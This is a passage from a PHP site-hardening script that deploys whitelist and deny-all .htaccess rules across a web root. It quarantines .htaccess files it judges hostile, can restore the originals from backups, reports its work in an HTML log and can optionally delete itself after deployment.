foreach ($dirClassification as $entry) {
$relPath = $entry['path'];
$type = $entry['type'];
$fullPath = ($relPath === '.') ? $siteRoot : "$siteRoot/$relPath";
$fullPath = str_replace('//', '/', $fullPath);
if (!is_dir($fullPath)) {
_log('WARN', "Skipping (not a dir): $fullPath");
$skipped++;
continue;
}
if (!is_writable($fullPath)) {
_log('WARN', "Skipping (not writable): $relPath/");
$skipped++;
continue;
}
$existingContent = read_existing_htaccess($fullPath);
if (has_deployer_markers($existingContent)) {
_log('INFO', "Already deployed: $relPath/");
$skipped++;
continue;
}
$htFile = "$fullPath/.htaccess";
$replaced = 0;
if (!empty($existingContent)) {
$hackerInfo = is_hacker_htaccess($existingContent, $cmsType, $relPath);
if ($hackerInfo) {
$renamed = null;
if (quarantine_hacker_htaccess($htFile, $fullPath, $renamed)) {
$hackerReplaced++;
$replaced++;
global $BACKUP_EXT;
@unlink($htFile . $BACKUP_EXT);
} else {
_log('ERROR', "Cannot quarantine hostile .htaccess: $htFile");
$failed++;
continue;
}
} else {
if (!preserve_and_clear_htaccess($fullPath)) {
$failed++;
continue;
}
_log('INFO', "Replaced existing .htaccess (kept as .bak, content not merged): $relPath/");
$replaced++;
}
}
switch ($type) {
case 'root':
case 'admin':
case 'special':
$newRules = generate_htaccess_whitelist($entry['whitelist']);
break;
case 'deny_all':
$newRules = generate_deny_only_htaccess();
break;
default:
_log('WARN', "Unknown type $type for $relPath/ — skipping");
$skipped++;
continue 2;
}
$isFreshRoot = ($type === 'root' && !is_file($htFile));
if ($isFreshRoot) {
global $DEFAULT_ROOT_REWRITE;
if ($DEFAULT_ROOT_REWRITE) {
$defaultBlock = wrap_with_markers(generate_default_rewrite_block(
compute_url_base($siteRoot)
));
$newContent = wrap_with_markers($newRules) . "\n\n" . $defaultBlock;
if (write_htaccess($fullPath, $newContent)) {
_log('INFO', 'Root .htaccess was missing — default rewrite block added');
$deployed++;
} else {
$failed++;
}
continue;
}
}
$newContent = wrap_with_markers($newRules);
if (write_htaccess($fullPath, $newContent)) {
$deployed++;
} else {
$failed++;
}
}
_log('INFO', str_repeat('=', 50));
_log('INFO', "DEPLOY DONE: $deployed deployed, $skipped skipped, $hackerReplaced hacker-replaced, $failed failed");
_log('INFO', str_repeat('=', 50));
return ($failed === 0);
}
function do_remove($scriptDir, $siteRoot) {
_log('INFO', str_repeat('=', 50));
_log('INFO', 'MODE: RESTORE (remove restrictions)');
_log('INFO', str_repeat('=', 50));
_log('INFO', "Site root: $siteRoot");
$allDirs = get_all_directories($siteRoot);
_log('INFO', 'Found ' . count($allDirs) . ' directories');
$restored = 0; $removed = 0; $skipped = 0; $failed = 0;
global $BACKUP_EXT;
foreach ($allDirs as $relPath) {
$fullPath = ($relPath === '.') ? $siteRoot : "$siteRoot/$relPath";
$fullPath = str_replace('//', '/', $fullPath);
$htFile = "$fullPath/.htaccess";
$bakFile = $htFile . $BACKUP_EXT;
if (!is_dir($fullPath)) continue;
if (!is_writable($fullPath)) {
_log('WARN', "Skipping (not writable): $relPath/");
$skipped++;
continue;
}
$existingContent = read_existing_htaccess($fullPath);
if (!has_deployer_markers($existingContent)) {
continue;
}
$cleaned = strip_deployer_rules($existingContent);
if (empty($cleaned)) {
if (!is_file($bakFile)) {
if (@unlink($htFile)) {
_log('INFO', "Removed (we created it): $relPath/.htaccess");
$removed++;
} else {
_log('ERROR', "Cannot remove: $htFile");
$failed++;
}
} else {
$bakContent = @file_get_contents($bakFile);
if ($bakContent !== false) {
if (@file_put_contents($htFile, $bakContent) !== false) {
@unlink($bakFile);
_log('INFO', "Restored from backup: $relPath/.htaccess");
$restored++;
} else {
_log('ERROR', "Cannot restore: $htFile");
$failed++;
}
} else {
@unlink($htFile);
@unlink($bakFile);
_log('WARN', "Backup unreadable, removed: $relPath/.htaccess");
$removed++;
}
}
continue;
}
if (@file_put_contents($htFile, $cleaned) !== false) {
@unlink($bakFile);
_log('INFO', "Restored: $relPath/.htaccess");
$restored++;
} else {
_log('ERROR', "Cannot restore: $htFile");
$failed++;
}
}
_log('INFO', str_repeat('=', 50));
_log('INFO', "RESTORE DONE: $restored restored, $removed removed, $skipped skipped, $failed failed");
_log('INFO', str_repeat('=', 50));
return ($failed === 0);
}
function output_html($success, $logs) {
global $_SELF_NAME;
$color = $success ? '#2d8a2d' : '#c0392b';
$status = $success ? 'SUCCESS' : 'FAILED';
$logText = implode("\n", array_map('htmlspecialchars', $logs));
header('Content-Type: text/html; charset=utf-8');
echo <<<HTML
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>$_SELF_NAME - $status</title>
<style>
body{font-family:Consolas,monospace;background:#1a1a1a;color:#ddd;margin:20px;}
h1{color:$color;} .log{background:#111;padding:15px;border-radius:6px;white-space:pre-wrap;
word-break:break-all;max-height:80vh;overflow:auto;font-size:13px;line-height:1.5;}
.summary{padding:10px 16px;background:$color;color:#fff;border-radius:6px;display:inline-block;margin-bottom:12px;}
</style>
</head>
<body>
<h1>$_SELF_NAME - $status</h1>
<div class="summary">$status</div>
<div class="log">$logText</div>
</body>
</html>
HTML;
}
$scriptDir = isset($GLOBALS['____SCRIPT_DIR'])
? str_replace('\\', '/', $GLOBALS['____SCRIPT_DIR'])
: str_replace('\\', '/', dirname(__FILE__));
if (php_sapi_name() === 'cli' && isset($argv[1])) {
$MODE = ($argv[1] === 'false' || $argv[1] === 'remove' || $argv[1] === '0')
? 'remove' : 'add';
}
$siteRoot = detect_site_root($scriptDir);
if ($siteRoot === null) {
_log('ERROR', 'Cannot detect site root. Set $SITE_ROOT manually.');
output_html(false, $_logs);
exit(1);
}
if (!is_writable($siteRoot)) {
_log('ERROR', "Site root not writable: $siteRoot");
output_html(false, $_logs);
exit(1);
}
$APACHE_GEN = detect_apache_gen();
$success = ($MODE === 'add')
? do_add($scriptDir, $siteRoot)
: do_remove($scriptDir, $siteRoot);
output_html($success, $_logs);
if ($MODE === 'add') {
global $SELF_DESTRUCT;
if (!empty($SELF_DESTRUCT)) {
if ($success) {
$self = __FILE__;
if (@unlink($self)) {
_log('WARN', 'SELF_DESTRUCT: removed ' . basename($self));
} else {
_log('ERROR', 'SELF_DESTRUCT failed: ' . $self);
}
} else {
_log('WARN', 'SELF_DESTRUCT skipped: deploy was not fully successful');
}
}
}